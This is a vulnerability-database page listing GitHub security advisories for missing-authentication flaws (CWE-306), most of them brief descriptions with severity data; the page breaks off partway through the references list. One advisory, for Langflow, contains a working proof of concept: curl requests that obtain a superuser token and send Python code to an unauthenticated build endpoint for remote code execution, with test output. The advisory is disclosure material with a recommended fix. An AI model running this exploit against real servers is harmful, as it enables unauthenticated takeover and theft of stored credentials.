Common Weakness Enumeration
CWE-306
AllowedMissing Authentication for Critical Function
Abstraction: Base · Status: Draft
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
3442 vulnerabilities reference this CWE, most recent first.
GHSA-VVW4-VX69-CV5H
Vulnerability from github – Published: 2026-02-02 15:30 – Updated: 2026-02-02 15:30
VLAI
Details
A unauthenticated adjacent attacker could potentially disrupt operations by switching between multiple configuration presets via CAN.
Severity
6.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2022-50980"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-02T15:16:29Z",
"severity": "MODERATE"
},
"details": "A unauthenticated adjacent attacker could potentially disrupt operations by switching between multiple configuration presets via CAN.",
"id": "GHSA-vvw4-vx69-cv5h",
"modified": "2026-02-02T15:30:34Z",
"published": "2026-02-02T15:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-50980"
},
{
"type": "WEB",
"url": "https://www.innomic.com/.well-known/csaf/white/2026/ids-2026-0001.html"
},
{
"type": "WEB",
"url": "https://www.innomic.com/.well-known/csaf/white/2026/ids-2026-0001.json"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VW2P-H22J-GVGQ
Vulnerability from github – Published: 2025-04-08 09:31 – Updated: 2025-04-08 09:31
VLAI
Details
A vulnerability has been identified in SENTRON 7KT PAC1260 Data Manager (All versions). The web interface of affected devices does not authenticate report creation requests. This could allow an unauthenticated remote attacker to read or clear the log files on the device, reset the device or set the date and time.
Severity
{
"affected": [],
"aliases": [
"CVE-2024-41791"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-08T09:15:18Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been identified in SENTRON 7KT PAC1260 Data Manager (All versions). The web interface of affected devices does not authenticate report creation requests. This could allow an unauthenticated remote attacker to read or clear the log files on the device, reset the device or set the date and time.",
"id": "GHSA-vw2p-h22j-gvgq",
"modified": "2025-04-08T09:31:12Z",
"published": "2025-04-08T09:31:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41791"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-187636.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-VW56-CCH3-67CP
Vulnerability from github – Published: 2025-01-08 09:30 – Updated: 2025-01-08 15:31
VLAI
Details
The MinigameCenter module has insufficient restrictions on loading URLs, which may lead to some information leakage.
Severity
{
"affected": [],
"aliases": [
"CVE-2024-13185"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-08T09:15:07Z",
"severity": "MODERATE"
},
"details": "The MinigameCenter module has insufficient restrictions on loading URLs, which may lead to some information leakage.",
"id": "GHSA-vw56-cch3-67cp",
"modified": "2025-01-08T15:31:11Z",
"published": "2025-01-08T09:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13185"
},
{
"type": "WEB",
"url": "https://www.vivo.com/en/support/security-advisory-detail?id=15"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-VW5P-WQPX-XFFP
Vulnerability from github – Published: 2022-12-05 21:30 – Updated: 2025-04-24 15:30
VLAI
Details
The default configuration of Lazy Mouse does not require a password, allowing remote unauthenticated users to execute arbitrary code with no prior authorization or authentication. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Severity
9.8 (Critical)
{
"affected": [],
"aliases": [
"CVE-2022-45481"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-05T21:15:00Z",
"severity": "CRITICAL"
},
"details": "The default configuration of Lazy Mouse does not require a password, allowing remote unauthenticated users to execute arbitrary code with no prior authorization or authentication. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"id": "GHSA-vw5p-wqpx-xffp",
"modified": "2025-04-24T15:30:41Z",
"published": "2022-12-05T21:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45481"
},
{
"type": "WEB",
"url": "https://www.synopsys.com/blogs/software-security/cyrc-advisory-remote-code-execution-vulnerabilities-mouse-keyboard-apps"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VWF4-CWV7-V664
Vulnerability from github – Published: 2022-05-24 17:30 – Updated: 2022-05-24 17:30
VLAI
Details
An issue was discovered in the box application on HiSilicon based IPTV/H.264/H.265 video encoders. The file-upload endpoint does not enforce authentication. Attackers can send an unauthenticated HTTP request to upload a custom firmware component, possibly in conjunction with command injection, to achieve arbitrary code execution.
{
"affected": [],
"aliases": [
"CVE-2020-24217"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-10-06T14:15:00Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered in the box application on HiSilicon based IPTV/H.264/H.265 video encoders. The file-upload endpoint does not enforce authentication. Attackers can send an unauthenticated HTTP request to upload a custom firmware component, possibly in conjunction with command injection, to achieve arbitrary code execution.",
"id": "GHSA-vwf4-cwv7-v664",
"modified": "2022-05-24T17:30:09Z",
"published": "2022-05-24T17:30:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24217"
},
{
"type": "WEB",
"url": "https://kojenov.com/2020-09-15-hisilicon-encoder-vulnerabilities"
},
{
"type": "WEB",
"url": "https://www.kb.cert.org/vuls/id/896979"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/159597/HiSilicon-Video-Encoder-Command-Injection.html"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/159599/HiSilicon-Video-Encoder-Malicious-Firmware-Code-Execution.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-VWHX-3QH6-75XF
Vulnerability from github – Published: 2023-06-20 12:30 – Updated: 2024-03-21 03:35
VLAI
Details
Zoho ManageEngine ADSelfService Plus through 6113 has an authentication bypass that can be exploited to steal the domain controller session token for identity spoofing, thereby achieving the privileges of the domain controller administrator.
Severity
9.8 (Critical)
{
"affected": [],
"aliases": [
"CVE-2023-35854"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-20T12:15:09Z",
"severity": "CRITICAL"
},
"details": "Zoho ManageEngine ADSelfService Plus through 6113 has an authentication bypass that can be exploited to steal the domain controller session token for identity spoofing, thereby achieving the privileges of the domain controller administrator.",
"id": "GHSA-vwhx-3qh6-75xf",
"modified": "2024-03-21T03:35:24Z",
"published": "2023-06-20T12:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35854"
},
{
"type": "WEB",
"url": "https://github.com/970198175/Simply-use"
},
{
"type": "WEB",
"url": "https://www.manageengine.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VWM8-CPCX-VV4R
Vulnerability from github – Published: 2022-05-14 03:00 – Updated: 2022-05-14 03:00
VLAI
Details
In Schneider Electric Evlink Charging Station versions prior to v3.2.0-12_v1, the Web Interface has an issue that may allow a remote attacker to gain administrative privileges without properly authenticating remote users.
Severity
9.8 (Critical)
{
"affected": [],
"aliases": [
"CVE-2018-7778"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-07-03T14:29:00Z",
"severity": "CRITICAL"
},
"details": "In Schneider Electric Evlink Charging Station versions prior to v3.2.0-12_v1, the Web Interface has an issue that may allow a remote attacker to gain administrative privileges without properly authenticating remote users.",
"id": "GHSA-vwm8-cpcx-vv4r",
"modified": "2022-05-14T03:00:59Z",
"published": "2022-05-14T03:00:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-7778"
},
{
"type": "WEB",
"url": "https://www.schneider-electric.com/en/download/document/SEVD-2018-109-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VWMF-PQ79-VJVX
Vulnerability from github – Published: 2026-03-17 20:05 – Updated: 2026-06-08 23:11
VLAI
Summary
Unauthenticated Remote Code Execution in Langflow via Public Flow Build Endpoint
Details
Summary
The POST /api/v1/build_public_tmp/{flow_id}/flow endpoint allows building public flows without requiring authentication. When the optional data parameter is supplied, the endpoint uses attacker-controlled flow data (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to exec() with zero sandboxing, resulting in unauthenticated remote code execution.
This is distinct from CVE-2025-3248, which fixed /api/v1/validate/code by adding authentication. The build_public_tmp endpoint is designed to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code.
Affected Code
Vulnerable Endpoint (No Authentication)
File: src/backend/base/langflow/api/v1/chat.py, lines 580-657
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
data: Annotated[FlowDataRequest | None, Body(embed=True)] = None, # ATTACKER CONTROLLED
request: Request,
# ... NO Depends(get_current_active_user) -- MISSING AUTH ...
):
"""Build a public flow without requiring authentication."""
client_id = request.cookies.get("client_id")
owner_user, new_flow_id = await verify_public_flow_and_get_user(flow_id=flow_id, client_id=client_id)
job_id = await start_flow_build(
flow_id=new_flow_id,
data=data, # Attacker's data passed directly to graph builder
current_user=owner_user,
...
)
Compare with the authenticated build endpoint at line 138, which requires current_user: CurrentActiveUser.
Code Execution Chain
When attacker-supplied data is provided, it flows through:
start_flow_build(data=attacker_data)→generate_flow_events()--build.py:81create_graph()→build_graph_from_data(payload=data.model_dump())--build.py:298Graph.from_payload(payload)parses attacker nodes --base.py:1168add_nodes_and_edges()→initialize()→_build_graph()--base.py:270,527_instantiate_components_in_vertices()iterates nodes --base.py:1323vertex.instantiate_component()→instantiate_class(vertex)--loading.py:28code = custom_params.pop("code")extracts attacker code --loading.py:43eval_custom_component_code(code)→create_class(code, class_name)--eval.py:9prepare_global_scope(module)--validate.py:323exec(compiled_code, exec_globals)-- ARBITRARY CODE EXECUTION --validate.py:397
Unsandboxed exec() in prepare_global_scope
File: src/lfx/src/lfx/custom/validate.py, lines 340-397
def prepare_global_scope(module):
exec_globals = globals().copy()
# Imports are resolved first (any module can be imported)
for node in imports:
module_obj = importlib.import_module(module_name) # line 352
exec_globals[variable_name] = module_obj
# Then ALL top-level definitions are executed (Assign, ClassDef, FunctionDef)
if definitions:
combined_module = ast.Module(body=definitions, type_ignores=[])
compiled_code = compile(combined_module, "<string>", "exec")
exec(compiled_code, exec_globals) # line 397 - ARBITRARY CODE EXECUTION
Critical detail: prepare_global_scope executes ast.Assign nodes. An attacker's code like _x = os.system("id") is an assignment and will be executed during graph building -- before the flow even "runs."
Prerequisites
- Target Langflow instance has at least one public flow (common for demos, chatbots, shared workflows)
- Attacker knows the public flow's UUID (discoverable via shared links/URLs)
- No authentication required -- only a
client_idcookie (any arbitrary string value)
When AUTO_LOGIN=true (the default), all prerequisites can be met by an unauthenticated attacker:
1. GET /api/v1/auto_login → obtain superuser token
2. POST /api/v1/flows/ → create a public flow
3. Exploit via build_public_tmp without any auth
Proof of Concept
Tested Against
- Langflow version 1.7.3 (latest stable release, installed via
pip install langflow) - Fully reproducible: 6/6 runs confirmed RCE (two sets of 3 runs each)
Step 1: Obtain a Public Flow ID
(In a real attack, the attacker discovers this via shared links. For the PoC, we create one via AUTO_LOGIN.)
# Get superuser token (no credentials needed when AUTO_LOGIN=true)
TOKEN=$(curl -s http://localhost:7860/api/v1/auto_login | jq -r '.access_token')
# Create a public flow
FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"test","data":{"nodes":[],"edges":[]},"access_type":"PUBLIC"}' \
| jq -r '.id')
echo "Public Flow ID: $FLOW_ID"
Step 2: Exploit -- Unauthenticated RCE
# EXPLOIT: Send malicious flow data to the UNAUTHENTICATED endpoint
# NO Authorization header, NO API key, NO credentials
curl -X POST "http://localhost:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
-H "Content-Type: application/json" \
-b "client_id=attacker" \
-d '{
"data": {
"nodes": [{
"id": "Exploit-001",
"type": "genericNode",
"position": {"x":0,"y":0},
"data": {
"id": "Exploit-001",
"type": "ExploitComp",
"node": {
"template": {
"code": {
"type": "code",
"required": true,
"show": true,
"multiline": true,
"value": "import os, socket, json as _json\n\n_proof = os.popen(\"id\").read().strip()\n_host = socket.gethostname()\n_write = open(\"/tmp/rce-proof\",\"w\").write(f\"{_proof} on {_host}\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name=\"X\"\n outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n def r(self)->Data:\n return Data(data={})",
"name": "code",
"password": false,
"advanced": false,
"dynamic": false
},
"_type": "Component"
},
"description": "X",
"base_classes": ["Data"],
"display_name": "ExploitComp",
"name": "ExploitComp",
"frozen": false,
"outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"__UNDEFINED__","cache":true,"allows_loop":false,"tool_mode":false,"hidden":null,"required_inputs":null,"group_outputs":false}],
"field_order": ["code"],
"beta": false,
"edited": false
}
}
}],
"edges": []
},
"inputs": null
}'
Step 3: Verify Code Execution
# Wait 2 seconds for async graph building
sleep 2
# Check proof file written by attacker's code on the server
cat /tmp/rce-proof
# Output: uid=1000(aviral) gid=1000(aviral) groups=... on kali
Actual Test Results
======================================================================
LANGFLOW v1.7.3 UNAUTHENTICATED RCE - DEFINITIVE E2E TEST
======================================================================
Version: Langflow 1.7.3
RUN 1: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)
HTTP 200 - Job ID: d8db19bf-a532-4f9d-a368-9c46d6235c19
*** REMOTE CODE EXECUTION CONFIRMED ***
canary: RCE-f0d19b36
hostname: kali
uid: 1000
whoami: aviral
id: uid=1000(aviral) gid=1000(aviral) groups=1000(aviral),...
uname: Linux 6.16.8+kali-amd64
RUN 2: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)
HTTP 200 - Job ID: d2e24f20-d707-4278-868c-583dd7532832
*** REMOTE CODE EXECUTION CONFIRMED ***
canary: RCE-6037a271
RUN 3: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)
HTTP 200 - Job ID: 5962244a-42af-4ef6-b134-a6a4adba5ab7
*** REMOTE CODE EXECUTION CONFIRMED ***
canary: RCE-4a796556
FINAL RESULTS
Total checks: 15
VULNERABLE: 15
SAFE: 0
RCE confirmed: 3/3 runs
Reproducible: YES (100%)
Impact
- Unauthenticated Remote Code Execution with full server process privileges
- Complete server compromise: arbitrary file read/write, command execution
- Environment variable exfiltration: API keys, database credentials, cloud tokens (confirmed in PoC: env_keys exfiltrated)
- Reverse shell access for persistent access
- Lateral movement within the network
- Data exfiltration from all flows, messages, and stored credentials in the database
Comparison with CVE-2025-3248
| Aspect | CVE-2025-3248 | This Vulnerability |
|---|---|---|
| Endpoint | /api/v1/validate/code |
/api/v1/build_public_tmp/{id}/flow |
| Fix applied | Added Depends(get_current_active_user) |
None -- NEW vulnerability |
| Root cause | Missing auth on code validation | Unauthenticated endpoint accepts attacker-controlled executable code via data param |
| Code execution via | validate_code() → exec() |
create_class() → prepare_global_scope() → exec() |
| CISA KEV | Yes (actively exploited) | N/A (new finding) |
| Can simple auth fix? | Yes (and it was fixed) | No -- endpoint is designed to be unauthenticated; the data parameter must be removed |
Recommended Fix
Immediate (Short-term)
Remove the data parameter from build_public_tmp. Public flows should only execute their stored flow data, never attacker-supplied data:
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
inputs: Annotated[InputValueRequest | None, Body(embed=True)] = None,
# REMOVED: data parameter -- public flows must use stored data only
...
):
In generate_flow_events → create_graph(), only the build_graph_from_db path should be reachable for unauthenticated requests:
async def create_graph(fresh_session, flow_id_str, flow_name):
# For public flows, ALWAYS load from database, never from user data
return await build_graph_from_db(
flow_id=flow_id,
session=fresh_session,
...
)
Severity
9.8 (Critical)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.8.2"
},
"package": {
"ecosystem": "PyPI",
"name": "langflow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33017"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-94",
"CWE-95"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-17T20:05:05Z",
"nvd_published_at": "2026-03-20T05:16:15Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nThe `POST /api/v1/build_public_tmp/{flow_id}/flow` endpoint allows building public flows without requiring authentication. When the optional `data` parameter is supplied, the endpoint uses **attacker-controlled flow data** (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to `exec()` with zero sandboxing, resulting in unauthenticated remote code execution.\n\nThis is distinct from CVE-2025-3248, which fixed `/api/v1/validate/code` by adding authentication. The `build_public_tmp` endpoint is **designed** to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code.\n\n## Affected Code\n\n### Vulnerable Endpoint (No Authentication)\n\n**File:** `src/backend/base/langflow/api/v1/chat.py`, lines 580-657\n\n```python\n@router.post(\"/build_public_tmp/{flow_id}/flow\")\nasync def build_public_tmp(\n *,\n flow_id: uuid.UUID,\n data: Annotated[FlowDataRequest | None, Body(embed=True)] = None, # ATTACKER CONTROLLED\n request: Request,\n # ... NO Depends(get_current_active_user) -- MISSING AUTH ...\n):\n \"\"\"Build a public flow without requiring authentication.\"\"\"\n client_id = request.cookies.get(\"client_id\")\n owner_user, new_flow_id = await verify_public_flow_and_get_user(flow_id=flow_id, client_id=client_id)\n\n job_id = await start_flow_build(\n flow_id=new_flow_id,\n data=data, # Attacker\u0027s data passed directly to graph builder\n current_user=owner_user,\n ...\n )\n```\n\nCompare with the authenticated build endpoint at line 138, which requires `current_user: CurrentActiveUser`.\n\n### Code Execution Chain\n\nWhen attacker-supplied `data` is provided, it flows through:\n\n1. `start_flow_build(data=attacker_data)` \u2192 `generate_flow_events()` -- `build.py:81`\n2. `create_graph()` \u2192 `build_graph_from_data(payload=data.model_dump())` -- `build.py:298`\n3. `Graph.from_payload(payload)` parses attacker nodes -- `base.py:1168`\n4. `add_nodes_and_edges()` \u2192 `initialize()` \u2192 `_build_graph()` -- `base.py:270,527`\n5. `_instantiate_components_in_vertices()` iterates nodes -- `base.py:1323`\n6. `vertex.instantiate_component()` \u2192 `instantiate_class(vertex)` -- `loading.py:28`\n7. `code = custom_params.pop(\"code\")` extracts attacker code -- `loading.py:43`\n8. `eval_custom_component_code(code)` \u2192 `create_class(code, class_name)` -- `eval.py:9`\n9. `prepare_global_scope(module)` -- `validate.py:323`\n10. `exec(compiled_code, exec_globals)` -- **ARBITRARY CODE EXECUTION** -- `validate.py:397`\n\n### Unsandboxed exec() in prepare_global_scope\n\n**File:** `src/lfx/src/lfx/custom/validate.py`, lines 340-397\n\n```python\ndef prepare_global_scope(module):\n exec_globals = globals().copy()\n\n # Imports are resolved first (any module can be imported)\n for node in imports:\n module_obj = importlib.import_module(module_name) # line 352\n exec_globals[variable_name] = module_obj\n\n # Then ALL top-level definitions are executed (Assign, ClassDef, FunctionDef)\n if definitions:\n combined_module = ast.Module(body=definitions, type_ignores=[])\n compiled_code = compile(combined_module, \"\u003cstring\u003e\", \"exec\")\n exec(compiled_code, exec_globals) # line 397 - ARBITRARY CODE EXECUTION\n```\n\n**Critical detail:** `prepare_global_scope` executes `ast.Assign` nodes. An attacker\u0027s code like `_x = os.system(\"id\")` is an assignment and will be executed during graph building -- before the flow even \"runs.\"\n\n## Prerequisites\n\n1. Target Langflow instance has at least **one public flow** (common for demos, chatbots, shared workflows)\n2. Attacker knows the public flow\u0027s UUID (discoverable via shared links/URLs)\n3. No authentication required -- only a `client_id` cookie (any arbitrary string value)\n\nWhen `AUTO_LOGIN=true` (the **default**), all prerequisites can be met by an unauthenticated attacker:\n1. `GET /api/v1/auto_login` \u2192 obtain superuser token\n2. `POST /api/v1/flows/` \u2192 create a public flow\n3. Exploit via `build_public_tmp` without any auth\n\n## Proof of Concept\n\n### Tested Against\n\n- **Langflow version 1.7.3** (latest stable release, installed via `pip install langflow`)\n- **Fully reproducible**: 6/6 runs confirmed RCE (two sets of 3 runs each)\n\n### Step 1: Obtain a Public Flow ID\n\n(In a real attack, the attacker discovers this via shared links. For the PoC, we create one via AUTO_LOGIN.)\n\n```bash\n# Get superuser token (no credentials needed when AUTO_LOGIN=true)\nTOKEN=$(curl -s http://localhost:7860/api/v1/auto_login | jq -r \u0027.access_token\u0027)\n\n# Create a public flow\nFLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"name\":\"test\",\"data\":{\"nodes\":[],\"edges\":[]},\"access_type\":\"PUBLIC\"}\u0027 \\\n | jq -r \u0027.id\u0027)\n\necho \"Public Flow ID: $FLOW_ID\"\n```\n\n### Step 2: Exploit -- Unauthenticated RCE\n\n```bash\n# EXPLOIT: Send malicious flow data to the UNAUTHENTICATED endpoint\n# NO Authorization header, NO API key, NO credentials\ncurl -X POST \"http://localhost:7860/api/v1/build_public_tmp/${FLOW_ID}/flow\" \\\n -H \"Content-Type: application/json\" \\\n -b \"client_id=attacker\" \\\n -d \u0027{\n \"data\": {\n \"nodes\": [{\n \"id\": \"Exploit-001\",\n \"type\": \"genericNode\",\n \"position\": {\"x\":0,\"y\":0},\n \"data\": {\n \"id\": \"Exploit-001\",\n \"type\": \"ExploitComp\",\n \"node\": {\n \"template\": {\n \"code\": {\n \"type\": \"code\",\n \"required\": true,\n \"show\": true,\n \"multiline\": true,\n \"value\": \"import os, socket, json as _json\\n\\n_proof = os.popen(\\\"id\\\").read().strip()\\n_host = socket.gethostname()\\n_write = open(\\\"/tmp/rce-proof\\\",\\\"w\\\").write(f\\\"{_proof} on {_host}\\\")\\n\\nfrom lfx.custom.custom_component.component import Component\\nfrom lfx.io import Output\\nfrom lfx.schema.data import Data\\n\\nclass ExploitComp(Component):\\n display_name=\\\"X\\\"\\n outputs=[Output(display_name=\\\"O\\\",name=\\\"o\\\",method=\\\"r\\\")]\\n def r(self)-\u003eData:\\n return Data(data={})\",\n \"name\": \"code\",\n \"password\": false,\n \"advanced\": false,\n \"dynamic\": false\n },\n \"_type\": \"Component\"\n },\n \"description\": \"X\",\n \"base_classes\": [\"Data\"],\n \"display_name\": \"ExploitComp\",\n \"name\": \"ExploitComp\",\n \"frozen\": false,\n \"outputs\": [{\"types\":[\"Data\"],\"selected\":\"Data\",\"name\":\"o\",\"display_name\":\"O\",\"method\":\"r\",\"value\":\"__UNDEFINED__\",\"cache\":true,\"allows_loop\":false,\"tool_mode\":false,\"hidden\":null,\"required_inputs\":null,\"group_outputs\":false}],\n \"field_order\": [\"code\"],\n \"beta\": false,\n \"edited\": false\n }\n }\n }],\n \"edges\": []\n },\n \"inputs\": null\n }\u0027\n```\n\n### Step 3: Verify Code Execution\n\n```bash\n# Wait 2 seconds for async graph building\nsleep 2\n\n# Check proof file written by attacker\u0027s code on the server\ncat /tmp/rce-proof\n# Output: uid=1000(aviral) gid=1000(aviral) groups=... on kali\n```\n\n### Actual Test Results\n\n```\n======================================================================\nLANGFLOW v1.7.3 UNAUTHENTICATED RCE - DEFINITIVE E2E TEST\n======================================================================\nVersion: Langflow 1.7.3\n\nRUN 1: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)\n HTTP 200 - Job ID: d8db19bf-a532-4f9d-a368-9c46d6235c19\n *** REMOTE CODE EXECUTION CONFIRMED ***\n canary: RCE-f0d19b36\n hostname: kali\n uid: 1000\n whoami: aviral\n id: uid=1000(aviral) gid=1000(aviral) groups=1000(aviral),...\n uname: Linux 6.16.8+kali-amd64\n\nRUN 2: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)\n HTTP 200 - Job ID: d2e24f20-d707-4278-868c-583dd7532832\n *** REMOTE CODE EXECUTION CONFIRMED ***\n canary: RCE-6037a271\n\nRUN 3: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)\n HTTP 200 - Job ID: 5962244a-42af-4ef6-b134-a6a4adba5ab7\n *** REMOTE CODE EXECUTION CONFIRMED ***\n canary: RCE-4a796556\n\nFINAL RESULTS\n Total checks: 15\n VULNERABLE: 15\n SAFE: 0\n RCE confirmed: 3/3 runs\n Reproducible: YES (100%)\n```\n\n## Impact\n\n- **Unauthenticated Remote Code Execution** with full server process privileges\n- **Complete server compromise**: arbitrary file read/write, command execution\n- **Environment variable exfiltration**: API keys, database credentials, cloud tokens (confirmed in PoC: env_keys exfiltrated)\n- **Reverse shell access** for persistent access\n- **Lateral movement** within the network\n- **Data exfiltration** from all flows, messages, and stored credentials in the database\n\n## Comparison with CVE-2025-3248\n\n| Aspect | CVE-2025-3248 | This Vulnerability |\n|--------|--------------|-------------------|\n| **Endpoint** | `/api/v1/validate/code` | `/api/v1/build_public_tmp/{id}/flow` |\n| **Fix applied** | Added `Depends(get_current_active_user)` | None -- NEW vulnerability |\n| **Root cause** | Missing auth on code validation | Unauthenticated endpoint accepts attacker-controlled executable code via `data` param |\n| **Code execution via** | `validate_code()` \u2192 `exec()` | `create_class()` \u2192 `prepare_global_scope()` \u2192 `exec()` |\n| **CISA KEV** | Yes (actively exploited) | N/A (new finding) |\n| **Can simple auth fix?** | Yes (and it was fixed) | No -- endpoint is *designed* to be unauthenticated; the `data` parameter must be removed |\n\n## Recommended Fix\n\n### Immediate (Short-term)\n\n**Remove the `data` parameter** from `build_public_tmp`. Public flows should only execute their stored flow data, never attacker-supplied data:\n\n```python\n@router.post(\"/build_public_tmp/{flow_id}/flow\")\nasync def build_public_tmp(\n *,\n flow_id: uuid.UUID,\n inputs: Annotated[InputValueRequest | None, Body(embed=True)] = None,\n # REMOVED: data parameter -- public flows must use stored data only\n ...\n):\n```\n\nIn `generate_flow_events` \u2192 `create_graph()`, only the `build_graph_from_db` path should be reachable for unauthenticated requests:\n\n```python\nasync def create_graph(fresh_session, flow_id_str, flow_name):\n # For public flows, ALWAYS load from database, never from user data\n return await build_graph_from_db(\n flow_id=flow_id,\n session=fresh_session,\n ...\n )\n```",
"id": "GHSA-vwmf-pq79-vjvx",
"modified": "2026-06-08T23:11:45Z",
"published": "2026-03-17T20:05:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-vwmf-pq79-vjvx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33017"
},
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/issues/12345"
},
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/pull/12160"
},
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/commit/73b6612e3ef25fdae0a752d75b0fabd47328d4f0"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-rvqx-wpfh-mfx7"
},
{
"type": "PACKAGE",
"url": "https://github.com/langflow-ai/langflow"
},
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/releases/tag/1.8.2"
},
{
"type": "WEB",
"url": "https://medium.com/@aviral23/cve-2026-33017-how-i-found-an-unauthenticated-rce-in-langflow-by-reading-the-code-they-already-dc96cdce5896"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-33017"
},
{
"type": "WEB",
